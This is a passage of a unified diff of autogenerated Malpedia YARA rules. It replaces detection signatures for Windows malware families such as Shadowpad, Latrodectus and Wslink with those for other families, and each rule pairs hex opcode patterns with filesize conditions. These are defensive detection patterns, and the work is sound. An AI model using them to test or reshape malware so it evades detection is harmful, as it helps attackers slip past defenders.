+rule MALPEDIA_Win_Tinyturla_Ng_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "808b480a-a4a8-5b96-a652-004f7a1eca10" + id = "237c3b29-3ffe-58e0-8377-deec3f9ada49" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.statc" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.statc_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyturla_ng" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tinyturla_ng_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "d41663c5e21054ad8e54e8097dd90a58bbd0b9def413c1922ece24784d1402b9" + logic_hash = "053b5083da44c3f040d79aabaeaa3be9af43dd91f5cebec175c4332c307fa8d0" score = 75 quality = 75 tags = "FILE" @@ -91292,32 +91405,32 @@ rule MALPEDIA_Win_Statc_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c0 7409 8984248c000000 ebc5 488d942488000000 488bcf e8???????? } - $sequence_1 = { c6040129 e9???????? 4d8b4010 488d15c9dd2700 488d4def 4d8b00 e8???????? } - $sequence_2 = { 7f1d 8b8424e0000000 448bca ba69000000 89442420 488bcb e8???????? } - $sequence_3 = { b807000000 8bc8 894344 488bcb 8bd0 e8???????? e9???????? } - $sequence_4 = { e9???????? 488d8ab8010000 e9???????? 488d8ad0000000 e9???????? 488d8a90000000 e9???????? } - $sequence_5 = { c645d01c c745d401000000 488975e0 48894598 488d4d90 488b4580 4533e4 } - $sequence_6 = { e8???????? 488bcf e8???????? 48c70300000000 4d85ed 7409 498bcd } - $sequence_7 = { 48f7e2 488bf2 48c1ee04 48ffc6 0fbe43f1 84c0 740d } - $sequence_8 = { e8???????? 8bf8 896c2450 3b44243c 7413 488d15da212800 488bce } - $sequence_9 = { ff15???????? 488b4b18 33c0 48898318020000 48898320020000 898328020000 898378020000 } + $sequence_0 = { 4881ec90000000 488b05???????? 4833c4 4889451f 488bda 488bf1 } + $sequence_1 = { 488bcf e8???????? 33c9 eb15 } + $sequence_2 = { 488d7027 4883e6e0 488946f8 eb36 b816000000 483bf8 480f42f8 } + $sequence_3 = { c60600 8b87b8020000 8987b4020000 8b8fb4020000 ff15???????? 80bfcc02000000 0f8579fdffff } + $sequence_4 = { 85c0 0f8572010000 488b4d0f 488d45ff 41b901000000 4889442420 4533c0 } + $sequence_5 = { 4863f0 ff15???????? 488bc8 4c8d4601 33d2 ff15???????? 488bd8 } + $sequence_6 = { 8b4558 83e001 85c0 7414 836558fe 488b4d60 } + $sequence_7 = { 488b4d0f 488d45ff 41b901000000 4889442420 4533c0 488d5517 ff15???????? } + $sequence_8 = { 803c0800 75f7 488d5550 48c7c0ffffffff 48ffc0 } + $sequence_9 = { 4c8d050f92ffff 33d2 33c9 e8???????? } condition: - 7 of them and filesize < 6429696 + 7 of them and filesize < 635904 } -rule MALPEDIA_Win_Halfrig_Auto : FILE +rule MALPEDIA_Win_Mongall_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "42e8a2a1-259b-540e-bb50-a68bd513fd92" + id = "084e4b5d-8f53-5615-8d00-9dc87d5afd58" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.halfrig" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.halfrig_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mongall" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mongall_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "adc9aecc9470ee0c91f95fb542745149148c07ba82848cc511591fd05aa26a6e" + logic_hash = "a7343b890bc7cfe685e1d8a81a17e49736fde69b19000c5c5f4d58892316ec5a" score = 75 quality = 75 tags = "FILE" @@ -91331,32 +91444,32 @@ rule MALPEDIA_Win_Halfrig_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f8ea3000000 488d0daf800800 e8???????? 833d????????ff 0f858a000000 488d542420 488d8530030000 } - $sequence_1 = { 488d542420 e8???????? 488d0db8bd0700 e8???????? 40383d???????? } - $sequence_2 = { 4c893d???????? 488d8d30030000 488d05acd70200 488bd6 660f1f840000000000 488d8980000000 0f1000 } - $sequence_3 = { 3905???????? 0f8ea3000000 488d0ddf8d0700 e8???????? 833d????????ff 0f858a000000 488d542420 } - $sequence_4 = { 0f8ea3000000 488d0d2f6c0700 e8???????? 833d????????ff 0f858a000000 488d542420 4c8bc6 } - $sequence_5 = { 4983f815 72db 408835???????? 418b06 4c898b50040000 4088b358040000 3905???????? } - $sequence_6 = { 0f1003 488d542420 488bcd 0f29442420 e8???????? 0fb6d0 488d5b10 } - $sequence_7 = { 8801 418b06 3905???????? 0f8ea3000000 488d0dcf4f0700 e8???????? 833d????????ff } - $sequence_8 = { 418b06 4c898ba0040000 4088b3a8040000 3905???????? 7e4e 488d0d34700400 e8???????? } - $sequence_9 = { c705????????6990e984 c705????????3d6d27f5 e8???????? 403835???????? 4c8d0d0e7b0400 7438 } + $sequence_0 = { 75ef 57 bf???????? e8???????? 6a7f } + $sequence_1 = { 57 8bc2 c1f805 8b0485603f4100 8bfa 83e71f c1e706 } + $sequence_2 = { 83c404 5e b801000000 5b c3 83f806 7543 } + $sequence_3 = { 83c40c 8bdf 895df4 85c0 } + $sequence_4 = { ff15???????? 85f6 7413 6a00 6a00 6a00 } + $sequence_5 = { 85f6 7fdf eb07 838de4fdffffff 83bdccfdffff00 8b9de0fdffff 7457 } + $sequence_6 = { c745fc00000000 8b7df8 85ff 7509 } + $sequence_7 = { c745fc00000000 8b7df8 85ff 7509 5f 5e } + $sequence_8 = { 0fbe8028e24000 83e00f eb02 33c0 } + $sequence_9 = { 33c9 68???????? 51 6a03 } condition: - 7 of them and filesize < 1369088 + 7 of them and filesize < 199680 } -rule MALPEDIA_Win_Outlook_Backdoor_Auto : FILE +rule MALPEDIA_Win_Htprat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a3c9e166-1016-5506-93a9-19667db3083c" + id = "e0f24e75-a1ab-500e-b0d4-d1209cde7f99" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.outlook_backdoor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.outlook_backdoor_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.htprat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.htprat_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "1c69545b2fc9583e56f8f6f93522f6191f76f6718f05e9ec7b5fbf60b049d689" + logic_hash = "e91a3a65365c65376e7831a92808c9a23ec534df8de8b5e0e4180f6424135b1f" score = 75 quality = 75 tags = "FILE" @@ -91370,32 +91483,32 @@ rule MALPEDIA_Win_Outlook_Backdoor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f8412fdffff ff442410 ff4c2418 837c241800 7fdb e9???????? 56 } - $sequence_1 = { eb0a 8b7508 e8???????? 8bc6 8b4df4 5f 5e } - $sequence_2 = { 7708 c6063f 46 c6063d 46 8bc6 2b45e0 } - $sequence_3 = { c645fc00 e8???????? 8b4df4 8b4508 64890d00000000 5e c9 } - $sequence_4 = { e9???????? 33db 895c2414 8d442414 50 6a01 } - $sequence_5 = { 8bf0 8d442418 8bcb e8???????? 8b08 8b4004 } - $sequence_6 = { e8???????? 53 56 8d4dd8 eb29 } - $sequence_7 = { 8365fc00 6bc01c 03818c000000 56 8b7508 50 } - $sequence_8 = { 8b4d08 83c410 8d5104 8bc1 3bca 7412 } - $sequence_9 = { 50 e8???????? 8bf0 59 8d8528ffffff 50 e8???????? } + $sequence_0 = { 53 8db794010000 c645fc0c e8???????? 53 } + $sequence_1 = { 743c 33c0 57 50 668985d8f9ffff } + $sequence_2 = { 8bcb e8???????? 57 57 89b398000000 } + $sequence_3 = { 57 57 57 ffb574efffff } + $sequence_4 = { 832700 8d7708 c6470400 e8???????? 8365fc00 bb???????? 53 } + $sequence_5 = { e9???????? 6a22 e9???????? 6a0c e9???????? 83e96e 7479 } + $sequence_6 = { 8d742430 e8???????? 8bd6 8d4c2418 c68424e800000009 } + $sequence_7 = { 83671000 c747140f000000 c60700 837de810 8b45d4 895d80 } + $sequence_8 = { 8d442468 ff742478 50 8d8424a8000000 50 e8???????? 83c40c } + $sequence_9 = { 8d741eff 8d5801 56 57 } condition: - 7 of them and filesize < 2912256 + 7 of them and filesize < 278528 } -rule MALPEDIA_Win_Vflooder_Auto : FILE +rule MALPEDIA_Win_Wslink_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6da3af77-bf0c-5d0d-ad9f-8f035b957625" + id = "ff84d0ba-7c6b-551a-aa8c-f9cc4b863272" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vflooder" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vflooder_auto.yar#L1-L109" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wslink" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wslink_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "14b49a20a71548a980ead5d4f60898b254e57c1fbb273dc458944348b271a849" + logic_hash = "87e90a1a72b66a6938037799ecf454860aae5ad77216cc7fb9189ea554932eeb" score = 75 quality = 75 tags = "FILE" @@ -91409,32 +91522,32 @@ rule MALPEDIA_Win_Vflooder_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 9c ff742404 8f4500 9c 60 } - $sequence_1 = { b02e f5 f2ae e8???????? } - $sequence_2 = { 0000 43 7265 61 } - $sequence_3 = { e8???????? 0000 43 7265 } - $sequence_4 = { e8???????? 0000 43 7265 61 7465 } - $sequence_5 = { 9c ff742404 8f4500 9c } - $sequence_6 = { e8???????? 0000 43 7265 61 } - $sequence_7 = { f5 83ef04 f5 ff37 } - $sequence_8 = { 9c f2ae 9c 9c } - $sequence_9 = { 9c 60 9c 9c 8d642430 } + $sequence_0 = { 8bd0 e8???????? 4885c0 7494 48638ba0000000 488bd1 3b8ba4000000 } + $sequence_1 = { 488b8be8000000 4885c9 7405 e8???????? 488b7b08 4885ff } + $sequence_2 = { 488b05???????? 4833c4 48898424c0000000 33db 458be1 4c89442450 4183cfff } + $sequence_3 = { 4c8d0d633b0a00 448d400d e9???????? 83781000 0f859f000000 83780800 0f8495000000 } + $sequence_4 = { 418bc5 e9???????? bad9000000 4c8d0d96920700 b910000000 448d42b3 c7442420d8000000 } + $sequence_5 = { 4885c0 743d 4885f6 740e 660f1f440000 48ffce 881c06 } + $sequence_6 = { 7532 4c8d0d97450a00 8d4810 448d4008 ba9a000000 c744242048010000 e8???????? } + $sequence_7 = { 488bd8 4885c0 752b 4c8d0d885f0b00 8d506c 8d4820 448d4041 } + $sequence_8 = { 0302 6690 e11c 0100 ec 1c01 00d6 } + $sequence_9 = { e8???????? 8b8c2490000000 4885c0 746e 894b08 4d8b0f 498b5500 } condition: - 7 of them and filesize < 860160 + 7 of them and filesize < 2007040 } -rule MALPEDIA_Win_Pseudo_Manuscrypt_Auto : FILE +rule MALPEDIA_Win_Aveo_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e6b5074a-ee80-5f17-8d10-821d108c299b" + id = "58fed8b1-4a4c-5644-af15-f834ce14a282" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pseudo_manuscrypt" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pseudo_manuscrypt_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aveo" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.aveo_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "c6f7c325b24974deecc4b35c3043dbcf14d37411aa98d6d4fbada988adbed753" + logic_hash = "50253623bc7141d72df42bdf99f9bb3131c73cf858d2c7872df300d67b84cd17" score = 75 quality = 75 tags = "FILE" @@ -91448,32 +91561,32 @@ rule MALPEDIA_Win_Pseudo_Manuscrypt_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b45ec 8d044502000000 a3???????? 8b4dfc 33cd e8???????? 8be5 } - $sequence_1 = { 8b8594feffff 8d8df0feffff 8b9ddcfeffff 8bbdd8feffff 99 03c3 898de4feffff } - $sequence_2 = { 8bf8 ff15???????? 5e 8bc7 5f 5b 8be5 } - $sequence_3 = { 50 e8???????? 83c404 c70700000000 8b07 c7470800000000 } - $sequence_4 = { eb6b 8d45a0 50 8d4d8c e8???????? 8b4dc0 85c9 } - $sequence_5 = { 8bec 83ec14 57 8d45ec c745ec14000000 50 8bf9 } - $sequence_6 = { 7407 b801000000 5e c3 8b86c0000000 85c0 7411 } - $sequence_7 = { 390d???????? 0f94c0 c3 a1???????? c3 8bff 55 } - $sequence_8 = { ff15???????? 83c40c 8d8d1cf7ffff 51 6802000080 ff15???????? 5f } - $sequence_9 = { 56 57 8bf9 b9???????? e8???????? 8d45ac 50 } + $sequence_0 = { 894804 894808 89480c b9???????? 8d7901 8a11 41 } + $sequence_1 = { 68???????? e8???????? 83c404 899df4fdffff eb06 89b5f4fdffff 68???????? } + $sequence_2 = { 52 50 8d9df8feffff e8???????? } + $sequence_3 = { 8d8dfcefffff 51 8bf8 e8???????? 33ff 39bdf4efffff } + $sequence_4 = { e8???????? 83c40c 8d842418010000 50 8d8c241c030000 } + $sequence_5 = { b9???????? 8d7901 8a11 41 84d2 75f9 2bcf } + $sequence_6 = { 8db590fdffff 898574fdffff e8???????? be00100000 } + $sequence_7 = { 50 e8???????? 8d8df4f9ffff 51 8d95f4feffff 52 } + $sequence_8 = { 6803800000 50 ff15???????? 8b4de8 6a00 6a05 } + $sequence_9 = { 51 e8???????? 8b4df8 83c404 5f } condition: - 7 of them and filesize < 753664 + 7 of them and filesize < 180224 } -rule MALPEDIA_Win_Shadowpad_Auto : FILE +rule MALPEDIA_Win_Secondhandtea_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0c1faf29-7964-56d7-af15-c1e6eca3ddc5" + id = "24430ceb-9ce2-5574-9afd-319803953494" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shadowpad_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.secondhandtea" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.secondhandtea_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "f49d5d94105b284c3bf5a2bc14ecce3430da1255366e6df534c457baba4feead" + logic_hash = "7cb092741fedaef6b40610c6e7ec59e3f301485274283d64b8f6a31d3c54f53c" score = 75 quality = 75 tags = "FILE" @@ -91487,32 +91600,32 @@ rule MALPEDIA_Win_Shadowpad_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bf0 e8???????? 50 ffd7 8d75d0 8945ec } - $sequence_1 = { a80f 0f85c4000000 68f40f0000 8d45ec 50 8d4b0c } - $sequence_2 = { 3b450c 0f8d85000000 41 51 8d45e0 e8???????? } - $sequence_3 = { 53 56 33db 57 33d2 eb2d } - $sequence_4 = { 894df8 890e 3803 7439 8b06 } - $sequence_5 = { 88144b 8a0408 8b560c c0e804 046a 88444a01 } - $sequence_6 = { c20400 55 8bec 53 57 ff7508 ff15???????? } - $sequence_7 = { 8bec 51 8a4201 8845ff } - $sequence_8 = { 33c0 8d4de8 e8???????? 8b7de0 8bc3 50 } - $sequence_9 = { 32d1 46 8810 3b7508 0f8c74ffffff 5f } + $sequence_0 = { e8???????? cc 4c8d0554c31400 498bd4 488bcd e8???????? 85c0 } + $sequence_1 = { e8???????? 488bcf e8???????? 488b8b18100000 8b93fc070000 0fb701 3bd0 } + $sequence_2 = { 753b c744242025000000 41b841000000 4c8d0d2e9b0b00 bac6000000 b90d000000 e8???????? } + $sequence_3 = { e8???????? 4c8b642468 448be8 4883c470 415d 5f 5e } + $sequence_4 = { e8???????? 8bf8 85c0 7ead 294318 7408 014314 } + $sequence_5 = { e8???????? 4533c0 4c8d8bb4010000 418d502d 488bc8 e8???????? 488bcf } + $sequence_6 = { e9???????? 498bc9 e8???????? 488bf8 4885c0 7527 4c8d0d9d780f00 } + $sequence_7 = { e8???????? 488be8 4885c0 750f 488d154fac0c00 488bcf e8???????? } + $sequence_8 = { e8???????? 418bc7 488b4d68 4833cd e8???????? 488b9da0000000 488bb5a8000000 } + $sequence_9 = { e8???????? 33c0 ebc1 ba7a000000 4c8d0d517c0a00 c744242078000000 8d4a89 } condition: - 7 of them and filesize < 188416 + 7 of them and filesize < 4452352 } -rule MALPEDIA_Win_Latrodectus_Auto : FILE +rule MALPEDIA_Win_Whiteblackcrypt_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8cce3c90-39d6-56c7-a70d-a97dc872745e" + id = "8b018fd5-a77f-5d35-804b-d70e18428f2b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.latrodectus" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.latrodectus_auto.yar#L1-L177" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.whiteblackcrypt" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.whiteblackcrypt_auto.yar#L1-L114" license_url = "N/A" - logic_hash = "db1ab846766f29e28e7ba8cb8d168586ae215020b0ee3fc8ee79e547f904c4d9" + logic_hash = "4f74eb7c5773b19a8be72f0225ca23ef138b3bc453243d9314335e49ca519939" score = 75 quality = 75 tags = "FILE" @@ -91526,38 +91639,32 @@ rule MALPEDIA_Win_Latrodectus_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488b4c2430 8801 488b442430 48ffc0 4889442430 8b44242c } - $sequence_1 = { 33c0 6689842430010000 ba18000000 488d8c24d0000000 e8???????? 488d8424d0000000 } - $sequence_2 = { 33c9 ff15???????? 488905???????? 48833d????????00 7414 } - $sequence_3 = { 488b542458 488d4c2428 e8???????? 488b4c2458 e8???????? 488b442420 } - $sequence_4 = { 488b00 488b4818 e8???????? 488b442430 488b00 4883782000 } - $sequence_5 = { 89442420 8b442420 4883f825 7336 8b442420 486bc018 } - $sequence_6 = { 488bc1 488b4c2450 0fb709 488d0488 4889442438 488b442438 } - $sequence_7 = { e8???????? 89442420 ba68000000 488d4c2430 e8???????? c744243068000000 } - $sequence_8 = { 4883e808 4883f81f 0f87ab000000 e8???????? 488bc3 488b8dd0050000 } - $sequence_9 = { 410fb6f0 e9???????? 80fb05 7405 80fb0b 7508 } - $sequence_10 = { 480f474d70 488b8580000000 4889442430 48894c2428 4889542420 4c8d05fd2d0600 } - $sequence_11 = { 4833c4 4889842448010000 498bf1 4d8bf0 8bfa 4c89442458 } - $sequence_12 = { 41b826000000 488d1591b10b00 488d4c2430 e8???????? 90 488b7c2440 } - $sequence_13 = { 4883ec30 488b442460 498bf9 492bf8 488bf2 482bf1 } - $sequence_14 = { 0f87dc030000 0faee8 e8???????? 660f6f05???????? f30f7f442478 664489642468 } - $sequence_15 = { 0fb605???????? 884130 c6413100 0f57c0 0f11442438 488d3da9630d00 } + $sequence_0 = { 40326c243e 31ef 4131fa 4531d6 4531f5 } + $sequence_1 = { 7477 83feff 7c60 752e 488b8b38020000 } + $sequence_2 = { 410f94c2 4409d0 4109cb 753a } + $sequence_3 = { ff15???????? 83f812 0f84d4000000 488b8b38020000 e8???????? 48c7c0ffffffff } + $sequence_4 = { 0f840c010000 488d7c2420 4889da 41b804010000 4889f9 } + $sequence_5 = { 4889c1 e8???????? 4889e9 4889c2 4883c428 5b } + $sequence_6 = { 0f84d4000000 488b8b38020000 e8???????? 48c7c0ffffffff 48898338020000 } + $sequence_7 = { 4c89e1 41c6442cff00 e8???????? 4c39e6 } + $sequence_8 = { 4889f1 e8???????? 4889f1 85c0 7407 } + $sequence_9 = { 4401e6 4d63c4 4889f9 4989d9 ba01000000 } condition: - 7 of them and filesize < 2467840 + 7 of them and filesize < 99328 } -rule MALPEDIA_Win_Ktlv_Door_Auto : FILE +rule MALPEDIA_Win_Megumin_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6e065a03-91ac-5e12-9f0d-2a07114a6941" + id = "c4a2dcf8-4894-5cef-ac41-bcc9553ffc60" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ktlv_door" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ktlv_door_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.megumin" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.megumin_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "7086a37fac571e3e072f3722403d024774dd0aed3f77f3425014c9e7e0c7108d" + logic_hash = "ea7444cfb1798579fc346f04ef83b325fb03cf7f61d5558430123962ac8f5635" score = 75 quality = 75 tags = "FILE" @@ -91571,32 +91678,32 @@ rule MALPEDIA_Win_Ktlv_Door_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffc2 85d2 7d10 488d053ed25900 31db 31c9 e8???????? } - $sequence_1 = { eb0e 488d3d1a475800 6690 e8???????? 488d0594b92c00 e8???????? 48c7400836000000 } - $sequence_2 = { eb25 488b8424a00c0000 4889c3 488d8c24780a0000 0f1f4000 e8???????? 488b542430 } - $sequence_3 = { eb11 488d7818 488b8c2440080000 e8???????? 48c7400810000000 488d0da4e81900 488908 } - $sequence_4 = { ffd0 488bac24c8010000 4881c4d0010000 c3 48899c2450020000 48898c2458020000 c644243700 } - $sequence_5 = { eb0c 488d3d9bba4000 e8???????? 488b0d???????? 48898c2458050000 488d05800f1700 e8???????? } - $sequence_6 = { eb0d 488bbc24a8000000 e8???????? 4889c6 4889d9 488b842490000000 488b5c2460 } - $sequence_7 = { eb0e 488d7818 488b4c2418 e8???????? 4889c3 488d05371d3d00 488b6c2428 } - $sequence_8 = { eb11 488d7838 488b8c24e8010000 e8???????? 488d0d529c2900 4889c2 4889842400010000 } - $sequence_9 = { e8???????? 440f11bc24e0010000 440f11bc24f0010000 488b8c24e0000000 48898c24e0010000 488b8c24c8010000 48898c24e8010000 } + $sequence_0 = { e8???????? 83c418 c745fc04000000 bb1f000000 83781410 899de0feffff 7202 } + $sequence_1 = { c1e81f c78570ffffff0f000000 c6855cffffff00 f20f5804c540814600 f20f5885f8feffff f20f1185f8feffff e8???????? } + $sequence_2 = { 3bc2 0f827a0c0000 2bce 2bc2 83c1fe 3bc1 0f42c8 } + $sequence_3 = { 6a03 68???????? 8d8da4fdffff e8???????? 83bdb8fdffff10 8d95a4fdffff ffb5b4fdffff } + $sequence_4 = { 8d4dc0 c645fc03 8bf0 e8???????? 85f6 0f844f010000 8b95e0fdffff } + $sequence_5 = { 68???????? e8???????? 8d7db8 8d4f01 0f1f4000 8a07 47 } + $sequence_6 = { c7461000000000 0f42bde0feffff 83bde4feffff10 57 0f438dd0feffff 51 c746140f000000 } + $sequence_7 = { 8d9570fbffff 2bd1 8a01 8d4901 88440aff 84c0 } + $sequence_8 = { 8bcf ffb5c4fbffff 6a05 e8???????? 8bf8 c785bcfbffff00000000 c785c0fbffff00000000 } + $sequence_9 = { 0f8700010000 c1e003 3d00100000 721f 8d4823 3bc8 0f86f0000000 } condition: - 7 of them and filesize < 14630912 + 7 of them and filesize < 1007616 } -rule MALPEDIA_Win_Rawdoor_Auto : FILE +rule MALPEDIA_Win_Laturo_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cc76b812-17c2-5ec8-96b0-76719ad244ed" + id = "f1cda2c1-6a5a-560d-b916-62a96cbfcef4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rawdoor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rawdoor_auto.yar#L1-L170" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.laturo" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.laturo_auto.yar#L1-L175" license_url = "N/A" - logic_hash = "ec178538305c82f8b2a93ab81f9192cdc24be91763d3a20d8dccb588ac264211" + logic_hash = "fadff8d37ea5314574a4da4608d7ce7e1536afc4770400da40abe05fbc19031e" score = 75 quality = 75 tags = "FILE" @@ -91610,38 +91717,38 @@ rule MALPEDIA_Win_Rawdoor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 030e 03d1 c1c207 4103d2 } - $sequence_1 = { 030b 4403d1 418bc8 f7d1 23ca } - $sequence_2 = { 034218 418d91051d8804 458d8a39d0d4d9 03d0 } - $sequence_3 = { 03442444 3d00040000 730e 488d4c2450 } - $sequence_4 = { 034210 418d90a9cfde4b 458d81604bbbf6 03d0 } - $sequence_5 = { 034608 03d0 8b442408 4103c1 4c8b4c2410 } - $sequence_6 = { 034808 4403c1 8bcb f7d1 23ca } - $sequence_7 = { 034824 418bc0 4403c9 33c2 418d8be599dbe6 } - $sequence_8 = { 0101 0101 0100 0000 0001 } - $sequence_9 = { 0000 0001 0100 0001 0101 } - $sequence_10 = { 8be5 5d c3 ff15???????? 83f8ff 746f 8d85bcf8ffff } - $sequence_11 = { 0f8405010000 83e809 7415 83e803 0f8538010000 c745dc44690210 e9???????? } - $sequence_12 = { c3 68???????? 50 ff15???????? 85c0 751f 68???????? } - $sequence_13 = { 57 8b7d08 8d14dd00000000 8b0f c1e903 83e13f 894d0c } - $sequence_14 = { ffd6 ffb5e4feffff ffd6 57 85db 7439 81fb02010000 } - $sequence_15 = { 50 e8???????? 6867010000 8d8529fcffff c68528fcffff00 6a00 50 } + $sequence_0 = { 418bf0 4c8d0d83b80000 8bda 4c8d0572b80000 488bf9 488d1570b80000 } + $sequence_1 = { 88442438 807c243801 7413 807c243802 743a } + $sequence_2 = { 57 4883ec78 c744242000000000 e8???????? 48833d????????00 0f84fb010000 488b8c2490000000 } + $sequence_3 = { 4889442410 837c244c40 750d 0fb60424 88442403 } + $sequence_4 = { 3b442450 740a 8b442420 89442424 } + $sequence_5 = { 4883ec38 488b442440 48833800 747b c744242000000000 eb0a } + $sequence_6 = { 25f0000000 3d80000000 0f8521010000 0fb6442450 488b4c2430 4803c8 488bc1 } + $sequence_7 = { 4488742470 eb22 488d3d720a0100 eb19 488d3d610a0100 eb10 } + $sequence_8 = { eb3f f6c201 740d 8b0e 8d41fb 3985e0fdffff 7430 } + $sequence_9 = { 2502ffffff eb0d 8b45f4 807dfa05 0fb6c0 } + $sequence_10 = { 8a4dff d3e0 84c0 7907 } + $sequence_11 = { c745d500000000 66c745c40f80 c745c600000000 c645ff00 897de4 } + $sequence_12 = { c645f404 eb2b c645f401 eb25 f6c110 7410 } + $sequence_13 = { 51 0f95c0 6a40 8d044505000000 50 53 } + $sequence_14 = { 43 884210 2a5dd8 881a 80fb0f 7615 814a1800500000 } + $sequence_15 = { 68???????? 897df8 ff15???????? 85c0 742a 8b3d???????? 83fe20 } condition: - 7 of them and filesize < 445440 + 7 of them and filesize < 253952 } -rule MALPEDIA_Win_Fatal_Rat_Auto : FILE +rule MALPEDIA_Win_Shujin_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6ffdc4b6-3750-513f-882d-601b90060611" + id = "20008e73-1b75-5617-9f42-c7c9bccd7072" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fatal_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fatal_rat_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shujin" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shujin_auto.yar#L1-L128" license_url = "N/A" - logic_hash = 